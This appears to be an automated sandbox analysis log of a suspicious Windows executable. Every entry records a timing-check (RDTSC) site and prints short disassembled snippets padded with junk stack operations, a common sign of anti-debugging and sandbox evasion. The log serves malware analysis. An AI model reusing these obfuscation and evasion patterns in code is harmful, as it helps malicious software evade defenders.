Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AA525 second address: 3AA5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F06147E5FF8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 or ebx, dword ptr [ebp+122D1C7Dh] 0x0000002a js 00007F06147E600Eh 0x00000030 jmp 00007F06147E6008h 0x00000035 push 00000000h 0x00000037 mov ebx, 0EA5B7E1h 0x0000003c push 00000000h 0x0000003e xchg eax, esi 0x0000003f jnl 00007F06147E5FFEh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F06147E6002h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A7641 second address: 3A7663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F061450AC2Ah 0x00000010 pushad 0x00000011 jmp 00007F061450AC2Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB4EF second address: 3AB4F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB4F4 second address: 3AB53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov di, C78Bh 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F061450AC28h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+1245302Bh] 0x0000002e push 00000000h 0x00000030 cld 0x00000031 mov ebx, dword ptr [ebp+122D18C4h] 0x00000037 xchg eax, esi 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB53B second address: 3AB54D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F06147E5FF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB54D second address: 3AB55F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB55F second address: 3AB573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6000h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AC4AF second address: 3AC528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F061450AC28h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push eax 0x00000027 and ebx, 5EF83A6Dh 0x0000002d pop ebx 0x0000002e je 00007F061450AC2Ah 0x00000034 mov di, 733Fh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F061450AC28h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push 00000000h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push esi 0x0000005c pop esi 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB6CF second address: 3AB6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6009h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AC528 second address: 3AC52E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB6ED second address: 3AB700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AB700 second address: 3AB713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F061450AC28h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AC69B second address: 3AC6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jp 00007F06147E5FF6h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD643 second address: 3AD6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F061450AC34h 0x0000000c nop 0x0000000d mov ebx, 2D150D49h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F061450AC28h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e pushad 0x0000002f mov edx, dword ptr [ebp+122D3613h] 0x00000035 mov ax, cx 0x00000038 popad 0x00000039 push 00000000h 0x0000003b jno 00007F061450AC3Ch 0x00000041 jmp 00007F061450AC2Bh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b je 00007F061450AC26h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD6C8 second address: 3AD6CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD6CC second address: 3AD6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AD950 second address: 3AD95A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F06147E5FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AE7A7 second address: 3AE7AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B055D second address: 3B056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B056B second address: 3B056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B056F second address: 3B05DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F06147E5FF8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D1AD8h], ebx 0x0000002c mov dword ptr [ebp+122D1AB2h], edi 0x00000032 popad 0x00000033 mov ebx, dword ptr [ebp+122D20B1h] 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D36E0h], edi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007F06147E5FF8h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e push edx 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AF81C second address: 3AF820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B47A9 second address: 3B47CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b je 00007F06147E6000h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B67C6 second address: 3B6866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jg 00007F061450AC34h 0x0000000d nop 0x0000000e call 00007F061450AC2Ah 0x00000013 jmp 00007F061450AC35h 0x00000018 pop ebx 0x00000019 mov edi, dword ptr [ebp+122D387Fh] 0x0000001f push 00000000h 0x00000021 mov ebx, esi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F061450AC28h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f adc edi, 31BD14FAh 0x00000045 call 00007F061450AC39h 0x0000004a push edi 0x0000004b jmp 00007F061450AC33h 0x00000050 pop edi 0x00000051 pop edi 0x00000052 xchg eax, esi 0x00000053 push edi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B6866 second address: 3B686C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77C5 second address: 3B77D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B77D6 second address: 3B7810 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add di, D92Ah 0x00000010 cmc 0x00000011 push 00000000h 0x00000013 add edi, dword ptr [ebp+122D21E4h] 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+122D2AEBh] 0x00000021 xchg eax, esi 0x00000022 jmp 00007F06147E6003h 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B87D6 second address: 3B87DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B49D3 second address: 3B49D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B49D8 second address: 3B49DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7A0D second address: 3B7A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B5AA3 second address: 3B5AB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F061450AC28h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7A11 second address: 3B7A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B5AB6 second address: 3B5AC0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B8970 second address: 3B897B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F06147E5FF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B9A48 second address: 3B9A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF5BE second address: 3BF5F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6000h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F06147E6006h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF5F1 second address: 3BF5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007F061450AC26h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3F79 second address: 3C3FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F06147E600Fh 0x0000000c jmp 00007F06147E6009h 0x00000011 pushad 0x00000012 jmp 00007F06147E6004h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3557B8 second address: 3557DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F061450AC2Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3557DB second address: 3557DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C36C8 second address: 3C36CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C36CC second address: 3C36D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C383E second address: 3C3861 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F061450AC34h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3B03 second address: 3C3B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F06147E5FF6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C3B13 second address: 3C3B1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C92C7 second address: 3C92CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C92CD second address: 3C9326 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F061450AC31h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnl 00007F061450AC31h 0x0000001c jmp 00007F061450AC2Bh 0x00000021 mov eax, dword ptr [eax] 0x00000023 push edi 0x00000024 jmp 00007F061450AC34h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jnl 00007F061450AC28h 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C93DB second address: 3C9414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F06147E6007h 0x00000008 jmp 00007F06147E5FFEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jo 00007F06147E6004h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C9414 second address: 3C9418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CD391 second address: 3CD3CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F06147E5FF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F06147E5FFAh 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 pushad 0x00000018 jg 00007F06147E5FF6h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 jo 00007F06147E600Ch 0x00000028 pushad 0x00000029 ja 00007F06147E5FF6h 0x0000002f jl 00007F06147E5FF6h 0x00000035 push edi 0x00000036 pop edi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CDE39 second address: 3CDE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CDE3E second address: 3CDE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F06147E5FF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CDE50 second address: 3CDE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CDE54 second address: 3CDE5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CE2D6 second address: 3CE2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CE5AF second address: 3CE5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3CE5B5 second address: 3CE5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3486 second address: 3D34BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 jbe 00007F06147E5FF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F06147E5FF6h 0x00000017 jmp 00007F06147E5FFDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3619 second address: 3D361F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D361F second address: 3D362F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D362F second address: 3D3633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D38C0 second address: 3D38C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D39E9 second address: 3D39EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D39EF second address: 3D39F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3D21 second address: 3D3D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3D2C second address: 3D3D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D3D30 second address: 3D3D39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D4028 second address: 3D402C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D402C second address: 3D403C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 js 00007F061450AC38h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D4384 second address: 3D43A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6006h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3D43A0 second address: 3D43B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F061450AC26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F061450AC2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3DA9E7 second address: 3DA9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 353CD5 second address: 353CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC31h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F061450AC2Ah 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E27A2 second address: 3E27A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E27A6 second address: 3E27AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E27AC second address: 3E27B6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F06147E5FFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E119C second address: 3E11B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC2Eh 0x00000008 pushad 0x00000009 jo 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1771 second address: 3E1777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1777 second address: 3E1798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC2Dh 0x00000009 popad 0x0000000a push esi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jno 00007F061450AC26h 0x00000013 pop esi 0x00000014 push ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
